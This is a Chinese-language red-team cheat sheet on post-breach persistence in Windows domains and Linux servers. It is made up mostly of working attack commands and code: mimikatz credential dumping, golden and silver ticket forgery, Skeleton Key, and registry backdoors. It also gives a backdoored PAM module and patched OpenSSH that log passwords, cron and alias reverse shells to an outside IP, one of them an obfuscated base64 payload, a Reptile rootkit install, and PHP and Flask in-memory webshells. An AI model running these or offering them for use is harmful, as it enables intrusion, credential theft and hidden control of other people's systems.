# 内网域维持权限
参考资料:https://www.cnblogs.com/lcxblogs/p/14216525.html
# 验证 DLL 加载 SSP
攻防实战中,靶机很难会重启,攻击者重启的话风险过大,因此可以在靶机上把两个方法相互结合起来使用效果比较好,尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。
( 1 )但如果域控制器重启,被注入内存的伪造的 SSP 将会丢失。
1 2 3 4 5 6 # 导出密码 privilege::debug misc::memssp # 记录登录的账号密码 C:\Windows\System32\mimilsa.log
( 2 )使用此方法即使系统重启,也不会影响到持久化的效果。
1 2 3 4 5 6 7 8 9 # mimilib mimilib.dll 传到目标域控的c:\windows\system32\目录下 # 修改注册表,重启生效 reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ # 记录账号密码文件 c:\windows\system32\kiwissp.log
# 验证 DLL 加载 HOOK
https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking
powershell -exec bypass -Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange. dll -procname lsass}"
# 机制账号启用 DSRM
利用系统自带机制模式 DSRM,修改 DSRM 默认登录方式和属性,通过其同步 krgtgt 进行 PTH 攻击,实现持续化控制,但适用于系统 >=windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # 获取dsrm及krbtgt的NTLM hash privilege::debug lsadump::lsa /patch /name:krbtgt token::elevate lsadump::sam # dsrm&krbtgt&NTLM hash 同步 NTDSUTIL:打开ntdsutil set DSRM password:修改DSRM的密码 sync from domain account 域用户名字:使DSRM的密码和指定域用户的 # 密码同步 # (第 1 次):退出DSRM密码设置模式 # (第 2 次):退出ntdsutil # 修改dsrm登录方式 New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD # 利用PTH传递攻击 privilege::debug sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed9749 5408e1537f706c357fc5 dir \\owa2010cn-god\c$
# 用户属性修改
把域控管理员的 SID 加入到其他某个恶意的域账户的 SID History 中,然后这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。
1 2 3 4 5 6 7 8 9 10 11 # 获取某用户SID属性 Import-Module ActiveDirectory Get-ADUser webadmin -Properties sidhistory # 给予某用户administrator属性 privilege::debug sid::patch sid::add /sam:webadmin /new:administrator # 测评给与前后的DC访问权限: dir \\192.168.3.21\c$
# 登录进程劫持
1 2 3 4 5 6 7 8 9 10 11 12 13 # 因为Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效。 # 测试域内某个用户与DC通讯 dir \\owa2010cn-god\c$ # 连接DC后,DC注入lsass进程 net use \\192.168.3.21\ipc$ "Admin12345" /user:god\administrator mimikatz: privilege::debug misc::skeleton # 重新测试域内某个用户与DC通讯 net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator dir \\owa2010cn-god\c$
# 隐藏域管用户
项目地址:https://github.com/wgpsec/CreateHiddenAccount
控制面板能查看到,命令查看看不到,单机版无法删除,域环境可以删除。
CreateHiddenAccount -u xiaodi -p Xiaodi!@#45
# 黄金票据
黄金票据生成攻击,是生成有效的 TGT Kerberos 票据,并且不受 TGT 生命周期的影响(TGT 默认 10 小时,最多续订 7 天),这里可以为任意用户生称黄金票据,然后为域管理员生成 TGT,这样普通用户就可以变成域管理员。
已经拿下域管理员,获取到 krbtgt hash; 利用 krbtgt 的 hash 制作黄金票据 工具,进行攻击。该攻击方式其实是一种后门的形式,属于第二次进行攻击的 方法。第一次拿到域管权限之后,需要将 krbtgt NTLM hash 进行保存,当第二 次再来进行域渗透攻击时,我们就可使用 krbtgt 的 NTLM hash 制作黄金票据, 从而再次获得域管权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 获取域名,域sid值 # 域名:god.org,域SID值:S-1-5-21-1218902331-2157346161-1782232778 whoami /user whoami /all wmic useraccount get name,sid # 获取krbtgt的ntlm:域的KRBTGT账户NTLM-HASH:b097d7ed97495408e1537f706c357fc5 mimikatz privilege::debug mimikatz lsadump::lsa /patch # 伪造用户名:webadmin(任意用户名) # 生成票据 mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g # 导入内存 mimikatz kerberos::ptt g # 访问测试 dir \\owa2010cn-god\c$
# 白银票据
白银票据 (SILVER TICKET) 是利用域的服务账户进行伪造的 ST,在 Ker beros 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进 行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST, 从而获得 Session Key。所以只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用 (不需要交互 KDC,需要知道 Server 的 NTLM Hash)。
已经拿下域管理员,获取到 DC hash;利用 DC 的 hash 制作白银票据工具,进行攻击。伪造的 ST,只能访问指定的服务,如 CIFS;不与 KDC 交互,直接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # 访问Server;ST由服务账号 NTLM Hash 加密。 # 获取域名,域sid值 域名:god.org、域SID值:S-1-5-21-1218902331-2157346161-1782232778 whoami /user whoami /all wmic useraccount get name,sid # 获取dc账户的ntlm:域DC账户NTLM-HASH:82779569ef27d72b88b6c93dd8b37299 mimikatz privilege::debug mimikatz sekurlsa::logonpasswords # 伪造用户名:webadmin(任意用户名) # 导入票据:(CIFS文件共享服务) domain:域名 sid:域环境下的SID,除去最后-的部分剩下的内容 target:要访问的服务器,写FQDN rc4:写的是目标主机的NTLM(主机名$对应NTLM) service:要访问的资源类型 user:伪造的用户 cifs:共享文件 mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god /service:cifs /rc4:82779569ef27d72b88b6c93dd8b37299 /ptt
# 上传白名单工具
横向移动在上传木马的时候,将这两款软件直接上传上去,powershell 读配置文件将连接账户和密码发送至外边,进行连接!
GotoHTTP:https://gotohttp.com/goto/download.12x
RustDesk:https://github.com/rustdesk/rustdesk
1 2 3 4 5 6 7 8 # 有网连接: C:\Users\用户名\AppData\Roaming\RustDesk\config 其中ID和密码在RustDesk.toml文件里。 # 无网内网连接:IP直连 RustDesk2.toml direct-server = 'Y' direct-access-port = '8443'
# win 权限维持
# 自启动
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
sc create ServiceTest binPath= C:\xd.exe start= auto
sc delete ServiceTest
1 2 3 4 5 6 7 8 # 当前用户键值 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run # 服务器键值(需要管理员权限) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run # 添加启动项 REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\xd.exe"
# 粘滞键
系统自带的辅助功能进行替换执行,放大镜,旁白,屏幕键盘等均可。基本没用了。
1 2 3 4 # 粘滞键位置 c:\windows\system32\sethc.exe move sethc.exe sethc1.exe copy cmd.exe sethc.exe
# 映像劫持
1 2 3 4 5 6 7 # 测试:执行notepad成cmd REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc" # 配合GlobalFlag隐藏:执行正常关闭后触发 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ImageFile Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\xd.exe"
# 屏保与登录
1 2 3 4 5 6 # WinLogon配合无文件落地上线 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\xd.exe" # 屏幕保护生效后执行后门 reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE. EXE /t REG_SZ /d "C:\xd.exe" /f
# linux 权限维持
# OpenSSH 版本后门
替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh, 达到记录帐号密码,也可以采用万能密码连接的功能。更隐秘的方法可以做版本修改及文件修改时间处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # 参考链接: https://www.cnblogs.com/csnd/p/11807653.html https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw # 环境准备: yum -y install openssl openssl-devel pam-devel zlib zlib-devel yum -y install gcc gcc-c++ make wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz tar -xzvf openssh-5.9p1.tar.gz tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1 cd openssh-5.9p1 && patch < sshbd5.9p1.diff vim version.h # 编辑密码 vim includes.h 177 #define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志 178 #define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录 179 #define SECRETPW "xiaodi"#万能密码 180 #endif /* INCLUDES_H */ # 安装编译: ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install service sshd restart #重启sshd服务 systemctl status sshd.service #查看ssh启动状态 # 可以采用万能密码登录 、实现监控服务器登录登出的账号密码(发到外网)
# SSH PAM 后门
PAM 是一种认证模块,PAM 可以作为 Linux 登录验证和各类基础服务的认 证,简单来说就是一种用于 Linux 系统上的用户身份验证的机制。进行认证时 首先确定是什么服务,然后加载相应的 PAM 的配置文件 (位于 /etc/pam.d),最后 调用认证文件 (于 /lib/security) 进行安全认证。简易利用的 PAM 后门也是通过修改 PAM 源码中认证的逻辑来达到权限维持。
参考链接:https://xz.aliyun.com/t/7902
获取目标系统使用的 PAM 版本,下载对应版本的 pam 版本。解压缩,改 p am_unix_auth.c 文件,添加万能密码。编译安装 PAM。编译完后的文件在:mo dules/pam_unix/.libs/pam_unix.so,复制到 /lib64/security 中进行替换,即使用万 能密码登陆,将用户名密码记录到文件中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 # 配置环境 # 关闭selinux setenforce 0 # 查询版本 rpm -qa | grep pam # 安装此版本 wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz # 解压 tar -zxvf Linux-PAM-1.1.8 # 安装依赖 yum install gcc flex flex-devel -y # 修改配置 # 留PAM后门和保存SSH登录的账号密码 # 修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c180 行/* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码 if(retval == PAM_SUCCESS){ FILE * fp; fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置 fprintf(fp, "%s : %s\n", name, p); fclose(fp);} name = p = NULL; AUTH_RETURN; # 安装并备份 # 编译安装: ./configure && make # 备份原有pam_unix.so,防止出现错误登录不上,复制新PAM模块到/lib64/security/目录下 cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp cp Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
# SSH 软链接
在 sshd 服务配置启用 PAM 认证的前提下,PAM 配置文件中控制标志为 sufficient 时,只要 pam_rootok 模块检测 uid 为 0 (root)即可成功认证登录。重启之后会失效,而且会多出来一个端口。
1 2 3 4 5 # 查看是否使用PAM进行身份验证: cat /etc/ssh/sshd_config|grep UsePAM ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888 ssh root@xx.xx.xx.xx -p 8888 # 任意密码登录即可
# 公私钥后门
参考链接:https://www.bilibili.com/read/cv17721345/
1 2 3 4 5 6 7 8 # 生成密钥对 ssh-keygen -t rsa # 修改ssh配置 vim /etc/ssh/sshd_config RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys
# 添加 root 帐号
添加账号 test1,设置 uid 为 0 ,密码为 123456
1 2 3 4 5 6 useradd -p `openssl passwd - 1 - salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1 # 或者直接打印到passwd中: echo "xiaodi:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号 passwd xiaodi #修改xiaodi的密码为xiaodi123
# 定时任务后门
利用系统的定时任务功能进行反弹 Shell
1 2 3 4 5 6 7 8 9 # 编辑后门反弹 vim /etc/.xiaodi.sh # !/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1 chmod +x /etc/.xiaodi.sh # 添加定时任务(分时天月周) vim /etc/crontab */1 * * * * root /etc/.xiaodi.sh
# Strace 监控后门
strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围。当其他机器登录时,会将 ssh 的登录情况保存,可以实现实时监控 ssh 密码,可以将其自动发到外网上。
1 2 3 4 5 6 7 # 记录sshd明文 (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) grep -E 'read\(6, ".+\\ 0 \\ 0 \\ 0 \\.+"' /tmp/.sshd.log # 记录sshd私钥 (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &) grep 'PRIVATE KEY' /tmp/.sshd.log
# Alias 后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # 输入ls 即可反弹shell alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts' # 这样做效果达到了,但是ls 原功能无法执行成功 # 去掉别名 unalias ls # 不影响ls 使用情况下的别名后门: alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(bas e64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1w b3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgc mV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgP SBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVF JFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYp KQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kd XAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygp LCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwg Ii1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp' \'')))";};alerts' alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "al ias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: n ot found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts' alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts' # 持久化+隐藏:重启依旧生效 vim /etc/upload vim ~/.bashrc if [ -f /etc/upload ]; then . /etc/upload fi
# Rootkit 后门
现在常用的 linux 维持权限的方法大多用 crontab 和开机自启动,同时使用 的大多是 msf 或者其它的 tcp 连接来反弹 shell , 这种做法比较容易被管理员发 现。所以我们想有一个非 tcp 连接、流量不容易被怀疑的后门,并且在大量的 s hell 的场景下,可以管 shell,Reptile 刚好是种 LKM rootkit,因此具有很好的隐 藏性和强大的功能。如需检测此后门是否存在,需要使用类似于 gscan、checkr ootkit 的工具检测,但不一定能捕获到流量特征。
项目地址:https://github.com/f0rb1dd3n/Reptile/releases/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # centos自动化脚本 $ kernel=`uname -r` yum -y install perl vim gcc make g++ unzip # 由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地 yum -y localinstall kernel-devel-"$kernal".rpm cd Reptile-2.0/ && chmod +x ./setup.sh ./setup.sh install <<EOF reptile hax0r s3cr3t reptile 666 y 47.94.236.117 4444 1 EOF # ubuntu自动化脚本 apt-get install vim gcc make g++ unzip -y apt-get -y install linux-headers-$(uname -r) cd Reptile-2.0/ && chmod +x ./setup.sh ./setup.sh install <<EOF reptile hax0r s3cr3t reptile 666 y 47.94.236.117 4444 1 EOF
使用参考:https://github.com/f0rb1dd3n/Reptile/wiki
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 配合msf上线,隐藏msf的进程 # 隐藏进程 /reptile/reptile_cmd hide pid # 显示进程 /reptile/reptile_cmd show pid # 隐藏连接 /reptile/reptile_cmd udp pid port hide # 显示连接 /reptile/reptile_cmd tcp pid port show # 隐藏文件 文件名中带reptile的都会被隐藏 mkdir reptile_xiaodi
1 2 3 4 5 6 7 8 9 10 11 # 客户端安装: ./setup.sh client # 设置连接配置:要填写的信息为在肉机上安装 rookit时填写的目标主机 ip和端口,以及自己为其设置的密码和token值,至于 22 的端口,是伪造的,可以随意填写对方正在运行的端口。 set LHOST 47.94.236.117 set LPORT 4444 set SRCHOST 47.94.236.117 set SRCPORT 666 set RHOST 121.43.154.113 set RPORT 22 set PROT TCP set PASS s3cr3t set TOKEN hax0r
# web 内存马
链接:https://github.com/jweny/MemShellDemo
Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的 Webshell 都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马, 区别在于 Webshell 内存马是无文件马,利用中间件的进程执行某些恶意代码, 不会有文件落地,给检测带来巨大难度。
内存 webshell 相比于常规 webshell 更容易躲避传统安全监测设备的检测, 通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存 We bshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。
# php 内存马
set_time_limit () 函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep () 函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort () 函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为 True,则忽略与用户的断开)
unlink (FILE) 函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents 函数:将一个字符串写入该文件中
usleep 函数:延迟执行当前脚本数微秒,即条件竞争
1 2 3 4 5 6 7 8 9 10 11 <?php ignore_user_abort(true); set_time_limit(0); @unlink(__FILE__); $ file = '.HH.php' ; $ code = '<?php @eval($_POST[\' c\']); ?>' ; while (1){ file_put_contents($ file,$code ); usleep(5000); } ?>
# py 内存马
链接:https://xz.aliyun.com/t/10933
1 2 3 4 5 6 7 8 9 10 11 # example1 http://47.94.236.117:5000/test?param={{url_for.__globals__[%27__builtins__% 27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lamb da%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27c md%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__g lobals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_ app%27]})}} # example2 url_for.__globals__['__builtins__']['eval']("app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )", { 'app':url_for.__globals__['current_app'] } )
# java 内存马
链接: https://www.secpulse.com/archives/190549.html
( 1 )按攻击思路,大致分为:
Java Instrumentation 类(Agent 型)
Servlet-api 类(Servlet 型、Filter 型、Listener 型)
Spring 类(Controller 型、Interceptor 型)
( 2 )按注入的对象分为:tomcat、weblogic、shiro 等类型。
Servlet-api 类(Servlet 型、Filter 型、Listener 型)
哥斯拉,冰蝎内存马功能使用